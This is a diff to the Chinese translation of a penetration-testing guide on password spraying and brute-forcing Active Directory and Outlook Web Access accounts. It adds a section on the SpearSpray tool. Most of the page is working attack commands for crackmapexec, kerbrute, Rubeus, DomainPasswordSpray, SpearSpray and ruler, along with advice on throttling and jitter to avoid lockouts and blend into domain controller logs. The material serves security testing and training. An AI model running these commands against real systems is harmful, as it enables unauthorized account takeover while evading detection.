diff --git a/src/windows-hardening/active-directory-methodology/password-spraying.md b/src/windows-hardening/active-directory-methodology/password-spraying.md
index 4bebfd8ab..1f0fd6e55 100644
--- a/src/windows-hardening/active-directory-methodology/password-spraying.md
+++ b/src/windows-hardening/active-directory-methodology/password-spraying.md
@@ -1,19 +1,20 @@
-# 密码喷洒 / 暴力破解
+# Password Spraying / Brute Force
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## **密码喷洒**
 
-一旦你找到了几个 **有效的用户名**，你可以尝试最 **常见的密码**（请记住环境的密码策略）与每个发现的用户。\
-默认情况下，**最小** **密码** **长度** 为 **7**。
+## **Password Spraying**
 
-常见用户名的列表也可能有用：[https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
+一旦你找到几个 **valid usernames**，你可以对每个已发现的用户尝试最常见的 **common passwords**（记住环境的 **password policy**）。\
+按 **default**，**minimum** **password** **length** 为 **7**。
 
-请注意，如果你尝试多个错误密码，**可能会锁定某些账户**（默认情况下超过 10 次）。
+Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
 
-### 获取密码策略
+注意，你 **could lockout some accounts if you try several wrong passwords**（默认超过10次）。
 
-如果你有一些用户凭据或作为域用户的 shell，你可以 **获取密码策略**：
+### 获取 password policy
+
+如果你有一些用户凭证或以 domain user 身份的 shell，你可以 **get the password policy with**:
 ```bash
 # From Linux
 crackmapexec <IP> -u 'user' -p 'password' --pass-pol
@@ -30,7 +31,7 @@ net accounts
 
 (Get-DomainPolicy)."SystemAccess" #From powerview
 ```
-### 从Linux（或所有）进行利用
+### 从 Linux (或任意平台) 进行利用
 
 - 使用 **crackmapexec:**
 ```bash
@@ -46,7 +47,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
 # Brute-Force
 ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
 ```
-- [**spray**](https://github.com/Greenwolf/Spray) _**(您可以指示尝试次数以避免锁定):**_
+- [**spray**](https://github.com/Greenwolf/Spray) _**(你可以指定尝试次数以避免被锁定):**_
 ```bash
 spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
 ```
@@ -68,7 +69,7 @@ done
 ```
 #### 从 Windows
 
-- 使用带有暴力模块的 [Rubeus](https://github.com/Zer1t0/Rubeus) 版本：
+- 使用带有 brute 模块的 [Rubeus](https://github.com/Zer1t0/Rubeus) 版本：
 ```bash
 # with a list of users
 .\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
@@ -76,7 +77,7 @@ done
 # check passwords for all users in current domain
 .\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
 ```
-- 使用 [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1)（它可以默认从域中生成用户，并将从域中获取密码策略，并根据该策略限制尝试次数）：
+- 使用 [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (它默认可以从域中生成用户，并会从域获取密码策略并根据该策略限制尝试次数)：
 ```bash
 Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
 ```
@@ -88,9 +89,74 @@ Invoke-SprayEmptyPassword
 ```bash
 legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
 ```
+### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
+
+Kerberos pre-auth–based spraying 比 SMB/NTLM/LDAP bind attempts 产生的噪声更少，并且更符合 AD lockout policies。SpearSpray 将 LDAP-driven targeting、pattern engine 和 policy awareness（domain policy + PSOs + badPwdCount buffer）结合起来，以更精确且更安全的方式进行喷洒。它还可以在 Neo4j 中标记被攻破的 principals 以便 BloodHound 路径分析。
+
+Key ideas:
+- LDAP user discovery 支持 paging 和 LDAPS，可选地使用自定义 LDAP filters。
+- Domain lockout policy + PSO-aware filtering，保留一个可配置的尝试缓冲（threshold）以避免锁定用户。
+- Kerberos pre-auth validation 使用快速的 gssapi bindings（在 DCs 上生成 4768/4771，而不是 4625）。
+- 基于 pattern 的每用户密码生成，使用像名字和从每个用户的 pwdLastSet 派生的时间变量。
+- 通过线程、jitter 和 max requests per second 控制吞吐量。
+- 可选的 Neo4j 集成，用于标记已攻破的用户以供 BloodHound 使用。
+
+Basic usage and discovery:
+```bash
+# List available pattern variables
+spearspray -l
+
+# Basic run (LDAP bind over TCP/389)
+spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
+
+# LDAPS (TCP/636)
+spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
+```
+目标定位与模式控制：
+```bash
+# Custom LDAP filter (e.g., target specific OU/attributes)
+spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
+-q "(&(objectCategory=person)(objectClass=user)(department=IT))"
+
+# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
+spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
+```
+隐蔽性与安全控制：
+```bash
+# Control concurrency, add jitter, and cap request rate
+spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
+
+# Leave N attempts in reserve before lockout (default threshold: 2)
+spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2
+```
+Neo4j/BloodHound 数据丰富：
+```bash
+spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687
+```
+模式系统概述 (patterns.txt):
+```text
+# Example templates consuming per-user attributes and temporal context
+{name}{separator}{year}{suffix}
+{month_en}{separator}{short_year}{suffix}
+{season_en}{separator}{year}{suffix}
+{samaccountname}
+{extra}{separator}{year}{suffix}
+```
+Available variables include:
+- {name}, {samaccountname}
+- Temporal from each user’s pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
+- Composition helpers and org token: {separator}, {suffix}, {extra}
+
+Operational notes:
+- Favor querying the PDC-emulator with -dc to read the most authoritative badPwdCount and policy-related info.
+- badPwdCount resets are triggered on the next attempt after the observation window; use threshold and timing to stay safe.
+- Kerberos pre-auth attempts surface as 4768/4771 in DC telemetry; use jitter and rate-limiting to blend in.
+
+> 提示：SpearSpray’s 默认 LDAP 页面大小为 200；必要时使用 -lps 调整。
+
 ## Outlook Web Access
 
-有多种工具用于**密码喷洒 Outlook**。
+有多种工具用于 p**assword spraying outlook**。
 
 - 使用 [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
 - 使用 [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
@@ -98,7 +164,7 @@ legba kerberos --target 127.0.0.1 --username admin --password wordlists/password
 - 使用 [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray)（Powershell）
 - 使用 [MailSniper](https://github.com/dafthack/MailSniper)（Powershell）
 
-要使用这些工具中的任何一个，您需要一个用户列表和一个密码/一小部分密码列表进行喷洒。
+要使用上述任何工具，您需要一个用户列表以及一个密码或一个小的密码列表用于 password spraying。
 ```bash
 ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
 [x] Failed: larsson:Summer2020
@@ -117,8 +183,13 @@ legba kerberos --target 127.0.0.1 --username admin --password wordlists/password
 - [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer)
 - [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster)
 
-## References
+## 参考资料
 
+- [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray)
+- [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute)
+- [https://github.com/Greenwolf/Spray](https://github.com/Greenwolf/Spray)
+- [https://github.com/Hackndo/sprayhound](https://github.com/Hackndo/sprayhound)
+- [https://github.com/login-securite/conpass](https://github.com/login-securite/conpass)
 - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying)
 - [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
 - [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)